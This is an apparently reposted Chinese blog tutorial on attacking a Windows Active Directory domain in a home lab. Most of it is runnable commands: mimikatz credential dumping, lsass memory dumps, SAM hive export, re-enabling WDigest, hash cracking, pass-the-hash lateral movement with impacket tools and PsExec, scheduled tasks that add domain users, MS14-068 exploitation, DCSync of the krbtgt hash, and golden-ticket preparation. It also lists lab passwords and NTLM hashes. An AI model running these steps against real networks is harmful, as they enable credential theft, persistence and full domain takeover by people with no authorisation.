内网渗出-初探域渗出

打印 上一主题 下一主题

主题 950|帖子 950|积分 2850

目录

环境

环境搭建 :
https://blog.csdn.net/weixin_60521036/article/details/142961251

搭建完成后使用域控制器下发文件,测试环境是否正常。
1.域控主机中新建共享文件夹

2.找到组策略管理

3.找到Default Domain Policy右键编辑

4.找到:用户设置->首选项->Windows设置->文件

5.空缺处右键新建文件

6.源文件是你域控主机的文件位置,目的文件就是要分发下去的其他机器。

7.找到共享文件
我这里共享文件夹放了一个fscan,作为共享文件分发下去。

注意这里不能直接目录选择fscan文件,而是一定要选择共享文件夹中的路径,然后添加上文件夹中你要下发的文件。

然后目的文件就选择变量,分发到各自机子的桌面上
  1. %USERPROFILE%\desktop\fscan.exe
复制代码

确定后,建议强制更新一下,因为服务器默认更新组策略时间为5分钟,客户端电脑默认更新组策略时间为90分钟
  1. gpupdate /force
复制代码

客户端这边检查桌面还是为空,是因为需要你gpupdate /force强制更新,或者可以选择注销重新登录

分发成功,域环境OK。

补:dc域控定下这么一个分发规则后,就算你是创建新用户,在新用户桌面准备好后都会给你分发这么一个东西给你,所以说这也反映了域控主机是非常重要的。
域信息收集

体系基本信息

拿下每一台机器最好都将这些体系信息收集起来,偶尔候会有意想不到的惊喜。
  1. systeminfo #详细信息
  2. net start #服务
  3. tasklist #进程列表
  4. tasklist /svc 进程以及对应服务
  5. schtasks #计划任务
复制代码
网络信息
  1. ipconfig /all #能看到域名
  2. netstat -ano #ip连接、端口开放情况
  3. 网段扫描:工具和方式太多了,省略介绍,哪个方式用着习惯用哪个
复制代码
域控主机信息
  1. net view /domain #查看主域名,不存在域环境会报错
  2. nslookup 域名 #定位域控DC的ip,这里有了域名后也可以ping域控主机的整体域名找到DC的ip
复制代码
域控主机名
  1. nltest /dsgetdc:域名 #查看域控主机名
  2. net time /domain #判断主域DC:回显->主机名.主域名
复制代码

根据ip查主机名
  1. #windows系统命令
  2. nbtstat -A ip
复制代码

用户信息
  1. whoami /all #主要看权限,还有其他信息比如SID
  2. whoami /user #针对当前用户只查看SID
  3. net config workstation #主要看你当前登录的信息(主机名、域名、用户名等等)
  4. net user #本地用户有哪些
  5. net user /domain #域环境的用户信息
  6. net localgroup #本地用户组
  7. net group /domain  #域环境用户组
  8. wmic useraccount get /all #域/本地用户详细信息(useraccount参数不用改)
  9. net group "domain admins" /domain  #查看域管理组的用户信息
  10. net group "domain users" /domain   #查看普通域的用户信息
复制代码
权限提升

往期文章(提权 | Windows体系):
https://blog.csdn.net/weixin_60521036/article/details/143187444
网络探针

体系命令

ping扫网段
  1. for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.0.0.%I | findstr "TTL="
复制代码

nbtscan

老牌工具扫网段,效果还有标出DC的ip
  1. nbtscan.exe 10.0.0.0/24
复制代码

fscan

项目地点:
https://github.com/shadow1ng/fscan
工具很强大,不做具体介绍,我这里就探测一下网段,就默认开启全部模块了。
  1. fscan.exe -h 10.0.0.0/24
复制代码
nishang

这个工具使用的是powershell,个人用的比力多
项目地点:
https://github.com/samratashok/nishang
使用脚本之前先举行以下设置,每一次都要举行设置
  1. #设置执行策略
  2. Windows+R
  3. 输入PowerShell
  4. 运行:Set-ExecutionPolicy -Scope CurrentUser
  5. 出现ExecutionPolicy: 填入RemoteSigned
  6. (注明:同理你要设置Bypass的话就改为将RemoteSigned改为Bypass)
  7. 输入Y
  8. 关闭PowerShell ,重新打开powershell然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了
  9. #导入模块 nishang
  10. #记得cd进入目录中才能导入nishang.psm1文件
  11. #导入报错不要惊,后续你能获取到nishang的命令函数就代表你导入成功了
  12. Import-Module .\nishang.psm1
  13. #获取模块nishang的命令函数
  14. Get-Command -Module nishang
复制代码
介绍两种用法,更多用法自行查看项目的原readme.md
  1. #获取常规计算机信息
  2. Get-Information
  3. #端口扫描(查看目录对应文件有演示语法、其他同理)
  4. Invoke-PortScan -StartAddress 10.0.0.1 -EndAddress 10.0.0.100 -ResolveHost -ScanPort
复制代码
下面是命令实行的一些截图


根据收集

这里获取根据意思是包含:各种明文口令、密文hash口令、当地TGT单子、历史TGT单子等等。
下面实战部分详解
域渗出实战

前提说明:域内机器相关信息如下
  1. 域管理员:
  2.         administrator/Domain2024!
  3. 普通域用户:
  4.         User001/Domain2024!
  5.         nu/abc_123456
复制代码

根据收集(重点)

这里和往期内容内网渗出-内网信息收集(一)中的抓当地密码有重复:
https://blog.csdn.net/weixin_60521036/article/details/142964820
下面我就忽略重复内容,介绍平时域渗出中用的比力多的能够拿到根据的工具以及使用方式。
mimikatz

项目地点:
https://github.com/gentilkiwi/mimikatz
前提:需要管理员权限才能收集
  1. privilege::debug  #进入debug模式
  2. sekurlsa::logonpasswords  #获取密码
  3. 或者你要将结果输出到key.txt文件中
  4. mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt
复制代码

Procdump

官网下载:
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
条件
  1. 管理员权限运行
复制代码
这个需要共同mimikatz解析密码,利益就是Procdump是微软自带,不会被杀掉,所以我们可以线上先导出lsass.dmp,然后放到当地mimkatz去解析获取密码
  1. #导出lsass数据
  2. Procdump.exe -accepteula -ma lsass.exe lsass.dmp
  3. #mimikatz分析lsass数据
  4. mimikatz.exe
  5. sekurlsa::minidump lsass.dmp
  6. sekurlsa::logonpasswords
  7. #或者也一口气输出内容到key.txt文件中
  8. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > key.txt
复制代码

Pwdump

工具官网下载:
https://www.openwall.com/passwords/windows-pwdump
条件
  1. 需要管理员权限运行
复制代码
这里要用哪个版本就要看你在哪个版本体系上用了,官网有说明软件版本对应windows体系版本的
这个就很直接了,运行程序就输出对应账密,但都是hash,可以去在线网站破解,破解不了也没关系,背面我们也能够拿着hash值横向传递。

SAMInside

1.目的服务器导出SAMSYSTEMSYSKEY文件
2.通常是不能直接导出的,所以最好是通过命令窗口导出指定位置
  1. reg save hklm\sam C:/sam
  2. reg save hklm\system C:/system.key
  3. reg save hklm\security C:/security
复制代码
3.然后打开SAMInside选择导入
导入顺序:sam->system.key->security

导入后按解密即可,能解出来就OK,不能的话换一种方式,这种我也没成功过

krbtgt用户hash

往下看,在单子传递部分解说如何获取
hash破解

1.在线网站
  1. https://www.cmd5.com/
复制代码
2.hashcat
项目地点:
https://github.com/hashcat/hashcat
  1. hashcat -a 0 -m 1000 hash file --force
复制代码
3.彩虹表
相关文件下载地点:
https://ophcrack.sourceforge.io/
https://www.freerainbowtables.com/
彩虹表 破解密码
原理
  1. 通过预先计算的hash散列链集合对来反推明文,因为在一个对中,其中的算法是固定的,所以只需要重复加密函数即可还原这个散列链,即头和尾知道了,比如:1:11,这中间的算法是+1,+4,那么这个hash链就是:`1-2-6-7-11`,因为是+1 +4,所以中间还原的链数据就是`2 6 7`,也就是说我们使用一个对就存储了5个值或者更多,这里仅仅只是举一个例子而已,具体+1+4要循环多少次还要看k参数。
  2. 所以利用这个彩虹表去获取密码就会比较快速。
  3. 吐槽:其实常规点的hash密码丢到在线网站上直接就出来了,很少用彩虹表。
复制代码
抓hash工具很多,可以是Procdump、pwdump等等,这里就用pwdump。
通过抓取到的hash,放到 ophcrack https://ophcrack.sourceforge.io/工具上,
用收集到的彩虹表https://www.freerainbowtables.com/
下载好采用表后,用ophcrack 加载数据

点击install后会让你选择你的彩虹表文件夹
彩虹表的数据如下

加载完成后你拿到的hash解不出来就可以丢到工具中看能不能撞出来
好比我这里使用pwdump8.exe拿到hash密码

然后恣意复制丢到工具中点击crack,我这里是一个一个的复制进去,你也可以通过其他load方式


解决无法获取明文的题目
  1. Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
  2. Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
  3. 个人系统,vista之后主要是win7、win10等
  4. 针对以上情况,可以使用以下4种方式解决此类问题
  5. 1.利用哈希hash传递(pth、ptk等)进行移动
  6. 2.利用其它服务协议(SMB、WMI等)进行哈希移动
  7. 3.利用注册表操作开启Wdigest Auth值进行获取
  8. 4.利用工具或第三方平台(Hachcat)进行破解获取
  9. 知识点:
  10. Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在
  11. Windows 2003以后,认证方式均为NTLM Hash。
  12. 注册表修改开启Wdigest Auth值:
  13. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
复制代码
明文口令传递

IPC连接

条件
  1. 可以不是管理员权限运行net use
  2. 用户的明文口令
  3. 要和域管理员组的用户建立(一般普通域用户无法dir查看文件)
  4. ip机器只要是在域环境内即可
复制代码
重中之重:IPC你要建立连接而且你渴望能够对建立的机器举行一系列操作的话必须你要用域管理员权限账户去连接,否则dir操作ipc是看不到的。平凡的域用户只能够举行一些好比时间的同步之类的操作,是操作不了其他的,会显示拒绝访问。
ipc连接的建立与删除
  1. net use \\server\ipc$ "password" /user:username #工作组建立IPC连接
  2. net use \\server\ipc$ "password" /user:domain\username #域环境内建立IPC连接
  3. net use \\server\ipc$ /del #删除某个连接
复制代码
ipc操作
  1. dir \\xx.xx.xx.xx\c$\ #查看文件列表
  2. copy \\xx.xx.xx.xx\c$\1.bat 1.bat #下载文件
  3. copy 1.bat \\xx.xx.xx.xx\c$ #复制文件
  4. del \\xx.xx.xx.xx\c$\1.bat #删除文件
  5. net view xx.xx.xx.xx #查看对方共享
复制代码
ipc连接错误原因
  1. 建立IPC常见的错误代码
  2.     错误号5: 拒绝访问,权限不够;
  3.     错误号51: 无法找到网络路径(网络有问题)。
  4.     错误号53:找不到网络路径(ip地址错误;目标主机未开机;目标主机lanmanserver服务未启动;目 标主机防火墙设置过滤端口)。
  5.     错误号67:找不到网络名(本地主机中lanmanworkstation服务未启动或者目标主机删除了ipc$)。
  6.     错误号1219: 提供的凭据与已存在的凭据集冲突(已经建立了一个ipc$,可以删除再连)。
  7.     错误号1326: 用户名或密码错误。
  8.     错误号1792:试图登录,网络登录服务没有启动(目标主机中NetLogon服务未启动)。
  9.     错误号2242: 该用户的密码已经过期。
  10. 建立IPC失败的原因
  11.     1. 目标系统不是NT或者以上的操作系统
  12.     2. 对方没有打开IPC$共享
  13.     3. 对方未开启139、445端口,或者被防火墙屏蔽
  14.     4. 输出命令、账号密码有错误
复制代码
下图为使用net use使用明文举行ipc连接(使用域管理组的用户举行连接)
  1. net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
复制代码

ipc连接后个人比力常用的横向操作就是利用计划任务。可以是创建用户可以是反弹shell可以是复制木马过去实行等等骚操作,只要你会写bat脚本即可。
at主要用于windows server 2012以下版本,schtasks主要是用于大于即是windows server 2012版本环境
at

1.建立连接(如果你建立了就不用再建立了,只能有一个连接存在)
  1. net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
复制代码
2.将你要实行的bat脚本写好,然后复制到目的机器上面
  1. 假设adduser.bat的内容为:(其中/domain为添加到域环境中)
  2.         net user zs abc123456 /add /domain
  3. ----------------------------------------------------
  4. #拷贝useradd.bat文件到10.0.0.12的c盘目录下
  5. copy C:\useradd.bat \\10.0.0.12\c$
  6. #添加计划任务,每天10:00执行useradd.bat
  7. at \\10.0.0.12 12:00 c:\useradd.bat
复制代码
schtask

schtasks >= windows2012
1.建立连接(如果你建立了就不用再建立了,只能有一个连接存在)
  1. net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator
复制代码
2.将你要实行的bat脚本写好,然后复制到目的机器上面
  1. 假设adduser.bat的内容为:(其中/domain为添加到域环境中)
  2.         net user zs abc123456 /add /domain
  3. ----------------------------------------------------
  4. #拷贝useradd.bat文件到10.0.0.12的c盘目录下,并且创建名为useradd的任务
  5. copy C:\useradd.bat \\10.0.0.12 /ru "SYSTEM" /tn useradd /sc DAILY /tr c:\useradd.bat /F
  6. #运行useradd计划任务
  7. schtasks /run /s 10.0.0.12 /tn useradd /i
  8. #删除adduser任务
  9. schtasks /delete /s 10.0.0.12 /tn useradd /f
复制代码
atexec

源码脚本项目地点:
https://github.com/SecureAuthCorp/impacket
脚本打包的exe程序项目地点:
https://gitee.com/RichChigga/impacket-examples-windows
条件
  1. 该程序可以不用管理员运行
  2. 要使用域管理员组的账密去连接
  3. ip机器只要是在域环境内即可
复制代码
在impacket包中三个我本身比力常用的,能够明文传递也能hash口令传递,我称之为三剑客。需要注意的是上传的时间注意杀软,因为是三方工具,不在微软白名单内。
  1. atexec、psexec、smbexec
复制代码
这里先介绍atexec,因为背面两个的利用方式和这个不一样,后两个是利用smb协议,而atexec主要是利用at指令改的工具。
  1. atexec.exe ./administrator:Domain2024!@10.0.0.12 "whoami" #10.0.0.12的本地管理员组账密执行whoami
  2. atexec.exe god/administrator:Domain2024!@10.0.0.11 "whoami" #10.0.0.12的域管理员组账密执行whoami
复制代码
第一次实行会堕落,再实行一次即可

总结
  1. atexec.exe ./[用户名]:[密码]@[IP] "[命令]"
  2. atexec.exe [域名]/[用户名]:[密码]@[IP] "[命令]"
复制代码
Hash口令传递(PTH)

atexec

条件
  1. 该程序可以不用管理员运行
  2. 要使用域管理员组的账密hash口令去连接
  3. ip机器只要是在域环境内即可
复制代码
源码脚本项目地点:
https://github.com/SecureAuthCorp/impacket
脚本打包的exe程序项目地点:
https://gitee.com/RichChigga/impacket-examples-windows
注意事项:貌似需要用管理员组的用户去实行,hash密码前面记得加冒号,第一次实行可能会报错,第二次实行就会成功(如果不成功就是体系不支持,换一种方式吧)
  1. atexec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.11
复制代码

总结
  1. atexec.exe -hashes [:密码的hash值] ./[用户名]@[IP] "[命令]"
复制代码
SMB协议传递

psexec

条件
  1. 管理员权限执行程序
  2. 域管理员组内的账密hash口令连接
  3. ip机器只要是在域环境内即可
复制代码
微软提供的官网下载地点:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
在impacket包中也有对应的二开程序:
  1. 源码脚本项目地址:
  2.         https://github.com/SecureAuthCorp/impacket
  3. 脚本打包的exe程序项目地址:
  4.         https://gitee.com/RichChigga/impacket-examples-windows
复制代码
区别:二者区别就是微软自带的只能明文传递,二开的impacket包能够明文传递还能hash传递。
注意事项:需要用管理员权限实行命令,而且需要管理员用户组的账密。貌似psexec程序不支持x86的winserver2k3
0.直接介绍psexec的hash传递方法
  1. #hash密文建立连接
  2. PsExec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.10
  3. GBK的代码为936
  4. UTF-8的代码为65001
  5. #如果乱码的话自行修改对应的编码
  6. chcp 65001
复制代码

1.需要建立ipc连接的psexec用法
  1. #明文建立连接
  2. net use \\10.0.0.10\ipc$ "Domain2024!" /user:administrator
  3. #反弹shell
  4. PsExec.exe \\10.0.0.10 -s cmd
复制代码

2.不用建立ipc连接的psexec用法
注意:貌似psexec只支持域的管理员组的用户反弹shell,同样需要管理员权限运行该程序
  1. #直接反弹shell
  2. PsExec.exe \\10.0.0.10 -u administrator -p Domain2024! -s cmd
复制代码

smbexec

率土同庆:不用管理员权限实行命令!!!!!!!
条件
  1. 普天同庆:不用管理员权限执行命令!!!!!!!
  2. 感觉无可挑剔,明文和hash都能用
  3. 除了不免杀感觉条件就是无可挑剔。
  4. ip机器只要是在域环境内即可
复制代码
smbexec无需先ipc连接,同时支持明文或者hash传递,个人感觉比psexec好用乃至不用管理员权限运行,乃至乃至还兼容性好。
经过测试:貌似这个程序支持x86的winserver2k3,上面的psexec是不支持的
  1. smbexec [域名]/[用户名]:[密码]@[IP] #需要使用域管理员账户
  2. smbexec god/administrator:Domain2024!@10.0.0.12
  3. smbexec ./[用户名]:[密码]@[IP] #支持目标机器本地管理员的传递,牛逼,psexec不支持
  4. smbexec ./administrator:abc123456@10.0.0.12
  5. smbexec -hashes :[密码的hash值] ./[用户名]@[IP] #支持本地管理员的hash传递
  6. smbexec -hashes :6d40a45eb79dddcba8e61e244bf88128 ./administrator@10.0.0.12
  7. smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]  #仅支持管理员组的域用户进行hash传递
  8. smbexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.12
复制代码

wmi服务协议传递

wmi服务协议传递在日志中找不到痕迹,且体系自带wmic可举行明文的传递,但若要使用hash的话就还是要使用三方工具举行传递。
体系自带vmiexec

条件
  1. 不用管理员权限运行wmi命令
  2. 明文口令
  3. 需要域管理员权限的账密
  4. ip机器只要是在域环境内即可
复制代码
注意事项:貌似只能用域管理员用户组的用户才能实行成功
  1. wmic /node:10.0.0.12 /user:administrator /password:Domain2024! process call create "cmd.exe /c ipconfig > C:\1.txt"
复制代码


体系自带cscript

条件
  1. 不用管理员权限运行该程序命令
  2. 明文口令
  3. 需要域管理员组的账密
  4. ip机器只要是在域环境内即可
复制代码
该工具同理要使用管理用户组权限,cscript是体系自带的工具,而且有回显,能反弹一个shell回来,但是需要借助到wmiexec.vbs。
  1. cscript //nologo wmiexec.vbs /shell 10.0.0.12 administrator Domain2024!
复制代码

wmiexec

条件
  1. 不用管理员权限运行该命令
  2. 需要域管理员组的账密
  3. 在域环境中只能用域用户,不能用本地用户
  4. ip机器只要是在域环境内即可
复制代码
impacket包根据wmi二开的工具,工具下载地点和impacket包地点一样
  1. 本地用户
  2. wmiexec ./administrator:Domain2024!@10.0.0.13 "whoami"
  3. wmiexec -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.13 "whoami"
  4. 域用户
  5. wmiexec god/administrator:Domain2024!@10.0.0.13 "whoami"
  6. wmiexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.13 "whoami"
复制代码
mimikatz

获取cmd高权限窗口

条件
  1. 需要管理员用户运行,否则弹不出窗口
  2. ip机器只要是在域环境内即可
复制代码
我的狐疑和理解
  1. 这里其实我很奇怪,明明需要管理员权限才能执行成功,
  2. 但是我都管理员权限了还要弹出来这个框干嘛,
  3. 又不是横向移动,弹出来的还是本机的管理员权限,
  4. 所以我只能强行理解为当我们拿到远程桌面,
  5. 我的理解:
  6.         system权限在msf或者cs上拿着的
  7.         拿到的远程桌面是普通用户
  8.         希望在桌面上操作system权限的窗口命令
  9.         通过cs或者msf等等,在这些远控工具上上传或者像cs能够直接执行mimikatz都行
  10.         让远程桌面弹出system的cmd窗口,这样方便远程桌面连接横向移动
复制代码
实行命令
  1. mimikatz.exe
  2. privilege::debug
  3. sekurlsa::pth /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df875222
复制代码

RDP连接

条件
  1. 需要管理员权限运行
  2. ip机器只要是在域环境内即可
复制代码
Windows体系中正常的RDP连接都是要明文举行连接,这里可以使用mimikatz + 已知的hash密文直接连接。
注意:你用的hash是域管理员用户的,如许在域环境下你才能用域环境下的ip直接连上windows长途桌面。
(在弹出的窗口我们只需要输入ip不用输入密码就能直接连接上)
攻击前提
  1. 确保`攻击机`开启了Restricted Admin Mode
  2. PS:windows Server需要开启Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win7和Windows Server 2008 R2安装了2871997、2973351补丁也支持
复制代码
判断攻击机是否开启Restricted Admin Mode
  1. #增加前先进行查看是否存在这个键值,如果是空的或者值为1代表关闭,这时候就需要下一步增加/修改状态值
  2. REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
  3. #注册表中添加开启状态值(修改也是这个命令)
  4. REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
复制代码
攻击机攻击命令:
  1. mimikatz.exe
  2. privilege::debug
  3. sekurlsa::pth /user:administrator /domain:god /ntlm:084ec12da6c348f999c7fab5df875222 "/run:mstsc.exe /restrictedadmin"
复制代码
以下代表你的攻击机体系不支持Restricted Admin mode

如果当前体系支持Restricted Admin mode,实行后弹出长途桌面的登录界面,接着输入你要连接的ip

成功弹出窗口就代表成功了一半,如果还是连接失败就代表可能对方机器不允许连接或者体系不兼容又或者需要开启Restricted Admin Mode??本人没搞太明白,这种方法我还是比力少用就没去深入研究了,因为我们拿hash就足够我们横向了,拿hash连接拿桌面就其时下下策吧,如果有明文连接肯定不用hash这么麻烦。
PTK(mimikatz)

说明
  1. PTK(pass the key)也是pth的一种,也是用hash去连,
  2. 同样也是是针对NTML的认证进行的一种攻击手法,
  3. 原理是通过获取用户的aes256_hmac值来完成登录认证,
  4. 这个可以用在我们无法获取当前主机的密码的情况下。
  5. 而且是在打了KB2871997补丁之后才能用这个方法。
复制代码
条件
  1. 管理员权限运行mimikatz
复制代码
管理员权限运行mimikatz
命令实行
  1. privilege::debug
  2. sekurlsa::ekeys  #查看秘钥aes256_hmac
  3. #或者直接导出内容
  4. mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" > keys.txt
  5. #使用
  6. sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /aes256:[aes256的值]
  7. sekurlsa::pth /user:mary /domain:god.com /aes256:329cb15457daf7747d932ee19a39a9e9aa7d561eea642123796ecb5a9dded088
复制代码
如果打了补丁,导出的hash中会存在以下的hash键值

注意:如何判断实行成功?我这里并没有找到符合的主机举行攻击,但看网上其他人都是实行完后会弹出一个新窗口或者开一个新的管理员窗口去net use建立连接或者直接dir横向操作了,这里和之前mimikatz的平凡pth攻击流程一样。
单子传递(PTT)

单子这部分基本都用mimikatz
pass the ticket
根据kerberos协议认证原理实现攻击,主要是伪造金票,下面介绍几种PTT操作
MS14-068(明文口令)

项目地点:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
条件
  1. 没有打MS14-068补丁
  2. 不用管理员权限运行(本身这个漏洞就是提权的)
  3. 可以用普通用户的账密
  4. 用户对应的sid
  5. 使用的时候只能使用域控主机的[主机名.域名]
复制代码
注明:MS14-068实现的是提权效果,所以你接下来的程序都是可以用平凡用户去实行的。
  1. #查看是否打了MS14-068补丁
  2. systeminfo | findstr "3011780"
复制代码
实行命令
  1. #建议先清除一下内存中的票据,这个不影响票据文件,如果本身就有高权限的票据后面还能将其导入进来
  2. klist purge
  3. #查看SID
  4. whoami /all
  5. 或者只看SID
  6. whoami /user
  7. #上传工具MS14-068,运行程序(PS:这里尝试过只能用域控主机的ip提权)
  8. 用法:MS14-068.exe -u 普通域成员用户@域名 -s 用户对应的SID -d 域控主机ip -p 普通域成员用户的密码
  9. MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456
  10. #将票据通过mimikatz导入
  11. 用法:kerberos::ptc 票据文件路径
  12. kerberos::ptc TGT_nu@god.com.ccache
  13. #根据你要连接的ip查看主机名
  14. 用法:nbtstat -A ip
  15. nbtstat -A 10.0.0.10
  16. 因为只能用域控主机,下面这些也能看
  17. 用法:nltest /dsgetdc:域名
  18. nltest /dsgetdc:god
  19. #新开一个窗口,就直接能用了,比如查看c盘下的文件
  20. 用法:dir \\主机名.域名\c$
  21. dir \\WIN-Q23MC0LU96E.god.com\c$
复制代码
下面展示效果图
whoami /all

MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456


kerberos::ptc TGT_nu@god.com.ccache

nbtstat -A 10.0.0.10

恣意开一个窗口,net use可以看到并没有建立连接,我们这里是使用单子的形式提权,
且不用管理员权限开的也行:dir \\WIN-Q23MC0LU96E.god.com\c$

kekeo工具(hash口令)

项目地点:
https://github.com/gentilkiwi/kekeo
条件
  1. 不用管理员权限执行该程序
  2. 但是需要管理员的账密/hash口令
  3. 横向的时候需要用[主机名.域名] (注:金票注入貌似都只能用主机名来搞)
复制代码
kekeo同样可以是平凡用户权限实行该程序,无需管理员权限,但只不过是需要管理员的账密而已,不要搞混了,个人感觉这个生成和导入金票的方式更加直接且便捷好用。
kekeo可以通过hash来伪造单子,但焦点还是用管理员的账密,也就是说相称于伪造金票最高权限使用,原理也是tgt金票走天下,只不过MS14-068是通过提权来使平凡用户账密也能直接伪造金票TGT。
  1. 0.先进入kekeo程序内
  2. #直接运行程序
  3. kekeo.exe
  4. 1.生成票据,随便一个域用户
  5. #明文生成票据方法(建议用管理员的账密信息)
  6. tgt::ask /user:[域成员名] /domain:[域名] /password:[明文]
  7. tgt::ask /user:administrator /domain:god.com /password:Domain2024!
  8. #hash生成票据方法(建议用管理员的账密信息)
  9. tgt::ask /user:[域成员名] /domain:[域名] /ntlm:[ntlm值]
  10. tgt::ask /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df875222
  11. 2.导入票据
  12. kerberos::ptt [票据文件]
  13. kerberos::ptt TGT_administrator@GOD.COM_krbtgt~god.com@GOD.COM.kirbi
  14. 3.新开一个窗口(如果你当时生成和导入的票据是通过普通域用户的信息的话可能会失败)
  15. 直接就能用了
  16. dir \\WIN-Q23MC0LU96E.god.com\c$
复制代码
注意事项:
  1. 因为一般都是不用管理员权限执行该程序
  2. ↓↓↓↓↓
  3. 如果你是域管理员组用户的账密生成导入票据:
  4.         即使你使用普通用户打开新的命令窗口也能够操作域控主机
  5.         这才是我们要的效果,但用管理员权限用hash生成和导入,低权限也能使用拿到域控操作权限。
  6. 如果你使用普通域用户的账密生成票据和导入票据:
  7.         当你普通用户打开的新窗口执行是操作不了域控机器的,然后我在测试过程中也发现连普通用户的机器也操作不了
  8.         但是只有当你用管理员权限打开命令窗口的时候能够用你普通用户生成导入的票据权限,但这样不就违背了我们本身的意愿了么?
  9.         所以域环境中我们还是尽量用管理员的信息吧,免得搞出太多乌龙以及走弯路。(明文难搞但是hash还是不难搞的)
  10.         这不是我们想要的效果,域普通用户生成和导入无法低权限使用。
复制代码
以下是展示实验图
平凡用户开启窗口

通过管理员组用户信息生成单子,这里利用hash口令

使用kekeo导入单子

随机开一个窗口,不用管理员权限,klist可以发现确实是管理员权限的单子,所以现在就能够横向操作了

当地历史单子

条件
  1. 导入票据不用管理员权限运行mimikatz,但是收集凭据需要,
  2. 因为本地历史凭据通常存储在域控制器的安全账户管理器(Security Accounts Manager, SAM)数据库中
  3. ps:导入票据的操作其实都不需要管理员权限操作,本来票据就是希望给普通用户有权限操作
复制代码
但是你要通过mimikatz来收集根据的话就需管理权限运行,利用mimikatz收集当地单子,再将单子导入到内存中举行连接,单子多的话一个个尝试,纯靠运气,看能不能碰到一个高权限TGT而且还在有效期范围内。
没啥好说了,下面给出命令
  1. #进入debug权限
  2. privilege::debug
  3. #导出票据,票据会和mimikatz在同一目录下
  4. sekurlsa::tickets /export
  5. #导入票据,这里就一个一个尝试了,哪个成功了就成功,或者可以写脚本批量导入
  6. kerberos::ptt [票据文件]
复制代码
黄金单子
  1. Golden Tickets
  2. 域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递。
  3. 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的。
  4. 因此只要获取到krbtgt的密码Hash同时还需要获取他的SID,就可以随意伪造Ticket,进而使用Ticket登陆域控制器。
  5. 使用krbtgt用户hash生成的票据被称为Golden Ticket。
复制代码
krbtgt用户哈希

条件
  1. 获取凭证都需要用管理员权限运行mimkatz导出信息
复制代码
上面提到的黄金单子的伪造的条件是获取特殊用户krbtgt的SID还有他的hash口令,所以这里就需要知道如何获取。
DCSync(mimikatz)

介绍
  1. 2015年8月份Mimkatz新增了一个主要功能叫 "DCSync",使用这项技术可以有效地 "模拟" 域控制器并从目标域控上请求域内用户密码hash。这项技术为当下域渗透提供了极大地便利,可以直接远程dump域内hash
复制代码
命令
  1. mimikatz.exe
  2. privilege::debug
  3. lsadump::dcsync /user:krbtgt
  4. #或者导出文件中查看
  5. mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt
复制代码

LSA(mimikatz)

条件
  1. 需要用管理员权限运行mimkatz
复制代码
介绍
  1. 从 lsa 服务器获取密码
复制代码
命令实行
  1. mimikatz.exe
  2. privilege::debug
  3. lsadump::lsa /inject /name:krbtgt
  4. #或者导出文件中查看
  5. mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt
复制代码
kiwi(meterpreter)

meterpreter拿到shell后是需要有高权限,我这里平凡权限没有实行成功。
下面是实行命令
  1. load kiwi
  2. dcsync_ntlm krbtgt
复制代码
Hashdump(meterpreter)

meterpreter拿到shell后同样需要高权限实行
  1. hashdump
复制代码
金票伪造

金票伪造前提是你已经获取到了krbtgt用户和hash值。
说明:一定要看
  1. 这里我们金票伪造是在拿到krbtgt的sid和hash后进行伪造,总之你伪造的时候可以是普通用户执行的mimikatz,拿到金票也是能够用普通用户权限执行mimikatz导入注入到内存中,注入后,普通用户也能够使用 dir \\主机名.域名\c$ 这样查看,不能用ip,你也可以试试ip,反正在我环境中失败了。
  2. 然后金票其实就相当于一个后门,因为我们想要伪造金票,实际上我们已经有了管理员权限了,不然是拿不到krbtgt的信息的,我的理解就是金票是后门,你可以自己导出来到本地,目标机器上也都放几个金票,在有效期内都可以继续使用,那么横向的时候一个金票走天下了。
复制代码
mimikatz

条件
  1. 需要管理员权限运行mimikatz,这里只是要获取krbtgt信息,和金票的生成导入没有关系,生成和导入都可以使用普通用户权限执行mimikatz
  2. 但导入金票是不用管理员权限的,也就是假设你本来就有金票,那就直接导入就好了
复制代码
实行命令
  1. mimikatz.exe
  2. privilege::debug
  3. lsadump::dcsync /domain:god.com /user:krbtgt
  4. #或者也可以导出到krbtgt.txt文件中
  5. mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.com /user:krbtgt" "exit" > krbtgt.txt
复制代码

